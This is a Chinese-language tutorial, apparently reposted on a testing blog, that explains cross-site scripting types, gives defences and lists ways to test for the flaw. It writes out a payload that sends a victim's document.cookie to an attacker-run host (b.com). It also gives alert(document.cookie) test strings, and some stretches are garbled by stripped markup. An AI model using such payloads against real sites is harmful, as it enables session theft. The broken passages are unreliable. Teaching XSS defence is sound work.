软件测试资源分享 | 免费软件测试资料文章源自玩技e族-https://www.playezu.com/13429.html
一、 背景知识文章源自玩技e族-https://www.playezu.com/13429.html
1、 什么是 xss 攻击?文章源自玩技e族-https://www.playezu.com/13429.html
xss 攻击: 跨站脚本攻击(cross site scripting) , 为不和层叠样式表(cascading style sheets,css)的缩写混淆。 故将跨站脚本攻击缩写为 xss。 跨站脚本攻击, 是 web 程序中常见的漏洞,xss 属于被动式且用于客户端的攻击方式, 所以容易被忽略其危害性。 其原理是攻击者在网页中嵌入恶意代码(例如 javascript), 当其它用户浏览该网站时, 这段代码会自动执行, 从而达到攻击的目的。 比如这些代码包括html 代码和客户端脚本。 对于跨站脚本攻击, 黑客界共识是: 跨站脚本攻击是新型的"缓冲区溢出攻击", 而 javascript 是新型的"shellcode"。xss 并不限于可见的页面输入, 还有可能是隐藏表单域、 get 请求参数等。文章源自玩技e族-https://www.playezu.com/13429.html
2、 xss 攻击的危害:文章源自玩技e族-https://www.playezu.com/13429.html
盗取用户 cookie、 破坏页面结构、 导航到恶意网站、 获取浏览器信息、 携带木马等。文章源自玩技e族-https://www.playezu.com/13429.html
二、 xss 漏洞的分类文章源自玩技e族-https://www.playezu.com/13429.html
xss 漏洞按照攻击利用手法的不同, 有以下三种类型:文章源自玩技e族-https://www.playezu.com/13429.html
xss 攻击类似于 sql 注 入攻击, 攻击之前, 我们先找到一个存在 xss 漏洞的网站,文章源自玩技e族-https://www.playezu.com/13429.html
xss 漏洞分为两种, 一种是 dom based xss 漏洞, 另一种是 stored xss 漏洞。 理论上, 所有可输入的地方没有对输入数据进行处理的话, 都会存在xss 漏洞, 漏洞的危害取决于攻击代码的威力, 攻击代码也不局限于script。文章源自玩技e族-https://www.playezu.com/13429.html
1、 dom based xss文章源自玩技e族-https://www.playezu.com/13429.html
dom based xss 是一种基于网页 dom 结构的攻击, 该攻击特点是中招的人是少数人。文章源自玩技e族-https://www.playezu.com/13429.html
场景一:文章源自玩技e族-https://www.playezu.com/13429.html
当我登录文章源自玩技e族-https://www.playezu.com/13429.html
a.com 后,我发现它的页面某些内容是根据 url 中的一个叫 content 参数直接显示的,猜测它测页面处理可能是这样, 其它语言类似:<%@ page="" language="java" contenttype="text/html; charset=utf-8" pageencoding="utf-8">transitional//en""http://www.w3.org/tr/html4/loose.dtd">文章源自玩技e族-https://www.playezu.com/13429.html
xss文章源自玩技e族-https://www.playezu.com/13429.html
测试文章源自玩技e族-https://www.playezu.com/13429.html
页面内容: <%=request.getparameter("content")%>文章源自玩技e族-https://www.playezu.com/13429.html
我知道了 tom 也注册了该网站, 并且知道了他的邮箱(或者其它能接收信息的威尼斯人2299的联系方式), 我文章源自玩技e族-https://www.playezu.com/13429.html
做 一 个 超 链 接 发 给 他 , 超 链 接 地 址 为 :http://www.a.com?content=文章源自玩技e族-https://www.playezu.com/13429.html
window.open(“www.b.com?param=” document.cookie), 当 tom 点击这个链 接的时文章源自玩技e族-https://www.playezu.com/13429.html
候(假设他已经登录 a.com), 浏览器就会直接打开 b.com, 并且把 tom 在 a.com 中的 cookie信息发送到 b.com, b.com 是我 搭建的网站, 当我的网站接收到该信息时, 我就盗取了 tom在 a.com 的 cookie 信息, cookie 信息中可能存有登录密码, 攻击成功! 这个过程中, 受害者只有tom 自己。 那当我在浏览器输入 a.com?content=器展示页面内容的过程中, 就会执行我的脚本, 页面输出xss 字样, 这是攻击了我自己, 那我如何攻击别人并且获利呢?文章源自玩技e族-https://www.playezu.com/13429.html
2、 stored xss文章源自玩技e族-https://www.playezu.com/13429.html
stored xss 是存储式 xss 漏洞, 由于其攻击代码已经存储到服务器上或者数据库中, , 比如发布一篇文章包含恶意代码, 其他用户浏览时将执行恶意脚本, 所以受害者是很多人。文章源自玩技e族-https://www.playezu.com/13429.html
场景二:文章源自玩技e族-https://www.playezu.com/13429.html
a.com 可以发文章, 我登录后在 a.com 中发布了一篇文章, 文章中包含了恶意代 码,和 jack 看到了我发布的文章, 当在查看我的文章时就都中招了, 他们的 cookie 信息都发送到了我的服务 器上, 攻击成功! 这个过程中, 受害者是多个人。stored xss 漏洞危害性更大, 危害面更广。文章源自玩技e族-https://www.playezu.com/13429.html
3、 攻击事例文章源自玩技e族-https://www.playezu.com/13429.html
2011 年新浪微博的 xss 攻击就是存储式 xss 漏洞攻击, 主要是通过未过滤处理的 url 中的参数来加载攻击者已写好的脚本, 并且使用短链服务将url 伪装, 然后通过诱人的话题欺骗用户访问该链接后在浏览器运行, 达到攻击的目的。 如将http://163.fm/pxzhoxn 指向http://weibo.com/pub/star/g/xyyyd">?type=update。 所以我们应该严防短链接。文章源自玩技e族-https://www.playezu.com/13429.html
三、 xss 防御文章源自玩技e族-https://www.playezu.com/13429.html
我们是在一个矛盾的世界中, 有矛就有盾。 只要我们的代码中不存在漏洞, 攻击者就无从下手, 我们要做一个没有缝的蛋。文章源自玩技e族-https://www.playezu.com/13429.html
xss 漏洞修复文章源自玩技e族-https://www.playezu.com/13429.html
原则: 不相信客户输入的数据文章源自玩技e族-https://www.playezu.com/13429.html
注意: 攻击代码不一定在中将重要的cookie 标记为 http only, 这样的话 javascript 中的 document.cookie 语句就不能获取到cookie 了.需要对用户的输入进行处理, 只允许用户输入我们期望的数据, 其它值一概过滤掉。 例如: 年龄的textbox 中, 只允许用户输入数字。 而数字之外的字符都过滤掉。文章源自玩技e族-https://www.playezu.com/13429.html
对数据进行html encode 处理过滤或移除特殊的html标签, 例如:过滤 javascript 事件的标签。 例如 "onclick=", "onfocus" 等等。xss 具体的防御有如下方式:文章源自玩技e族-https://www.playezu.com/13429.html
1. 输入校验文章源自玩技e族-https://www.playezu.com/13429.html
对 用户的所有输入数据进行检测, 比如过滤其中的“<”、>”、 “/”、 双引号等可能导致脚本注入的特殊字符, 或者过滤“script”、 “javascript”等脚本关键字, 或者对输入数据的长度及格式进行限制等等。 同时, 我们也要考虑用户可能绕开ascii 码, 使用十六进制编码文章源自玩技e族-https://www.playezu.com/13429.html
如“<”(“<”)>”(“>”) 等来输入脚本。 因此, 对用户输入的十六进制编码, 我们也要进行相应的过滤。 只要开发人员能够严格检测每一处交互点, 保证对所有用户可能的输入都进行检测和xss 过滤, 就能够有效地阻止 xss 攻击。文章源自玩技e族-https://www.playezu.com/13429.html
2. 输出编码文章源自玩技e族-https://www.playezu.com/13429.html
通过前面对 xss 攻击的分析, 我们可以看到, 之所以会产生 xss 攻击, 就是因为 web应用程序将用户的输入直接嵌入到某个页面当中, 作为该页面的 html 代 码的一部分。因此, 当web 应用程序将用户的输入数据输出到目标页面中时, 只要先对这些数据进行编码, 然后再输出到目标页面中。 这样, 如果用户输入一些html 的脚本, 也会被当成普通的文字, 而不会成为目标页面html 代码的一部分得到执行。文章源自玩技e族-https://www.playezu.com/13429.html
3. 严防外部的 javascript文章源自玩技e族-https://www.playezu.com/13429.html
外部的 javascript 一旦引入了, 这些脚本就能够操纵你的 html 页面, 窃取敏感信息或者发起钓鱼攻击等等。文章源自玩技e族-https://www.playezu.com/13429.html
四、 如何测试 xss 漏洞文章源自玩技e族-https://www.playezu.com/13429.html
方法一: 查看代码, 查找关键的变量, 客户端将数据传送给 web 服务端一般通过三种方式querystring, form 表单, 以及 cookie. 例如在 asp 的程序中, 通过 request 对象获取客户端的变量文章源自玩技e族-https://www.playezu.com/13429.html
<%strusercode = request.querystring(“code”);文章源自玩技e族-https://www.playezu.com/13429.html
struser = request.form(“user”);文章源自玩技e族-https://www.playezu.com/13429.html
strid = request.cookies(“id”);%>文章源自玩技e族-https://www.playezu.com/13429.html
假如变量没有经过 htmlencode 处理, 那么这个变量就存在一个 xss 漏洞文章源自玩技e族-https://www.playezu.com/13429.html
方法二: 准备测试脚本文章源自玩技e族-https://www.playezu.com/13429.html
"https://cdn.jsdelivr.net/gh/testwhite/jsdelivr-cdn/>alert(document.cookie)alert(document.cookie)文章源自玩技e族-https://www.playezu.com/13429.html
ck="alert(document.cookie)文章源自玩技e族-https://www.playezu.com/13429.html
在网页中的 textbox 或者其他能输入数据的地方, 输入这些测试脚本, 看能不能弹出对话框, 能弹出的话说明存在xss 漏洞在url 中查看有那些变量通过 url 把值传给 web 服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行文章源自玩技e族-https://www.playezu.com/13429.html
方法三文章源自玩技e族-https://www.playezu.com/13429.html
: 自动化测试 xss 漏洞文章源自玩技e族-https://www.playezu.com/13429.html
现在已经有很多文章源自玩技e族-https://www.playezu.com/13429.html
xss 扫描工具了。 实现 xss 自动化测试非常简单, 只需要用httpwebrequest 类。 把包含 xss 测试脚本。发送给 web 服务器。 然后查看 httpwebresponse中, 我们的 xss 测试脚本是否已经注入进去了。文章源自玩技e族-https://www.playezu.com/13429.html
五、 html encode文章源自玩技e族-https://www.playezu.com/13429.html
xss 之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行html encode 处理。 将其中的"中括号", “单引号”, “引号” 之类的特殊字符进行编码。在c#中已经提供了现成的方法, 只要调用 httputility.htmlencode("string ") 就可以了。 (需要引用 system.web 程序集)fiddler 中也提供了很方便的工具, 点击 toolbar 上的"textwizard" 按钮文章源自玩技e族-https://www.playezu.com/13429.html
图文来源网络,如有侵权联系删除文章源自玩技e族-https://www.playezu.com/13429.html
觉得文章不错的话就点赞,转发就更好了
文章源自玩技e族-https://www.playezu.com/13429.html
免责声明:本文内容来自用户上传并发布或网络新闻客户端自媒体,玩技博客仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请联系删除。
评论